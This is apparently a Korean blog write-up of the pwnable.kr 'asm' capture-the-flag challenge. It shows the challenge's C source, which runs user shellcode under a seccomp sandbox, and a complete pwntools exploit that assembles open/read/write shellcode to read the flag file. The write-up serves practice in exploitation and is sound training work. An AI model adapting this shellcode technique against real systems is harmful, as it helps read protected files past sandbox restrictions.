ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [ Toddler's Bottle ] asm
    System/Pwnable.kr 2019. 3. 9. 00:54

    문제를 보면 Shellcode를 만들어서 익스하는 유형인것 같다.


    [ asm.c ]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    #include <stdio.h>
    #include <string.h>
    #include <stdlib.h>
    #include <sys/mman.h>
    #include <seccomp.h>
    #include <sys/prctl.h>
    #include <fcntl.h>
    #include <unistd.h>
     
    #define LENGTH 128
     
    void sandbox(){
        scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
        if (ctx == NULL) {
            printf("seccomp error\n");
            exit(0);
        }
     
        seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
        seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
        seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
        seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
        seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
     
        if (seccomp_load(ctx) < 0){
            seccomp_release(ctx);
            printf("seccomp error\n");
            exit(0);
        }
        seccomp_release(ctx);
    }
     
    char stub[] = "\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff
    \x48\x31\xed\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d
    \x31\xf6\x4d\x31\xff";
    unsigned char filter[256];
    int main(int argc, char* argv[]){
     
        setvbuf(stdout, 0, _IONBF, 0);
        setvbuf(stdin, 0, _IOLBF, 0);
     
        printf("Welcome to shellcoding practice challenge.\n");
        printf("In this challenge, you can run your x64 shellcode under SECCOMP sandbox.\n");
        printf("Try to make shellcode that spits flag using open()/read()/write() systemcalls only.\n");
        printf("If this does not challenge you. you should play 'asg' challenge :)\n");
     
        char* sh = (char*)mmap(0x414140000x10007, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 00);
        memset(sh, 0x900x1000);
        memcpy(sh, stub, strlen(stub));
        
        int offset = sizeof(stub);
        printf("give me your x64 shellcode: ");
        read(0, sh+offset, 1000);
     
        alarm(10);
        chroot("/home/asm_pwn");    // you are in chroot jail. so you can't use symlink in /tmp
        sandbox();
        ((void (*)(void))sh)();
        return 0;
    }
     
    cs

    바이너리의 소스코드다.

    중요한 부분만 따로 정리해보도록 하자


    [ Seccomp_rule_add( ) ]

    seccomp_rule_add(scmp_filter_ctx ctx, uint32_t action, int syscall, unsigned int arg_cnt)

    위 함수는 syscall사용에 대한 규칙을 추가해주는 함수이다.

    해당 코드에서는 Open, Read, Write, Exit을 제외한 모든 Syscall사용이 불가능하도록 설정되어 있다.


    [ Stub Shellcode ]

    이 쉘코드는 우리가 Input한 쉘코드가 실행되기 전에 실행되는데,

    RAX~R15까지의 모든 레지스터들을 xor로 초기화해주는 Shellcode다.

    친절하기도 하셔라..


    [ mmap ]

    빨간박스에서 우리의 Input이 저장되는 sh공간을 강제맵핑해주고 있다.

    0x41414000을 메모리에 강제로 맵핑한 뒤, 7권한(rwx)을 할당해주는 모습이다.

    고정된 주소가 있기 때문에, 익스가 한층 더 수월해졌다.


    주황박스에서 sandbox( )는 위에서 정의한 Seccomp_rule_add( )들을 실행해주고,

    우리가 저장한 쉘코드의 시작주소를 Call한다.


    Exploit하는 방법은 간단하다.

    Read( )로 파일이름을 받고, Open( )으로 파일을 열어서 Read( )로 메모리에 파일내용을 저장해준 뒤

    Write( )로 출력해주는 Shellcode를 만들어서 넣어주면 된다.


    pwntools의 asm( )를 사용하면 편하게 직관적으로 쉘코드를 만들 수 있다.

    [Pwnlib.asm Document]


    [ Payload ]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    from pwn import *
    context(arch="amd64")
    = remote("localhost",9026)
     
    file = "this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_
    very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo
    0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong\x00"
     
    print p.recvuntil("give me your x64 shellcode: ")
    #Save Filename
    payload = asm('mov rax, 0')
    payload += asm('mov rdi, 0')
    payload += asm('mov rsi, 0x41414500')
    payload += asm('mov rdx, 232')
    payload += asm('syscall')
     
    #Open File
    payload += asm('mov rax, 2')
    payload += asm('mov rdi, 0x41414500')
    payload += asm('mov rsi, 0')
    payload += asm('mov rdx, 0')
    payload += asm('syscall')
     
    #
    payload += asm('mov rax, 0')
    payload += asm('mov rdi, 3')
    payload += asm('mov rsi, 0x41414650')
    payload += asm('mov rdx, 1000')
    payload += asm('syscall')
     
    payload += asm('mov rax, 1')
    payload += asm('mov rdi, 1')
    payload += asm('mov rsi, 0x41414650')
    payload += asm('mov rdx, 1000')
    payload += asm('syscall')
     
    p.send(payload)
    p.send(file)
    p.interactive()
    cs


    [ Exploit ]

    'System > Pwnable.kr' 카테고리의 다른 글

    [ Rookiss ] Ascii_easy  (2) 2019.04.05
    [ Rookiss ] Alloca  (1) 2019.03.24
    [ Rookiss ] otp  (1) 2019.03.06
    [ Rookiss ] Simple Login  (2) 2019.01.17
    [ Rookiss ] loveletter  (0) 2018.08.26

    댓글

Designed by Tistory.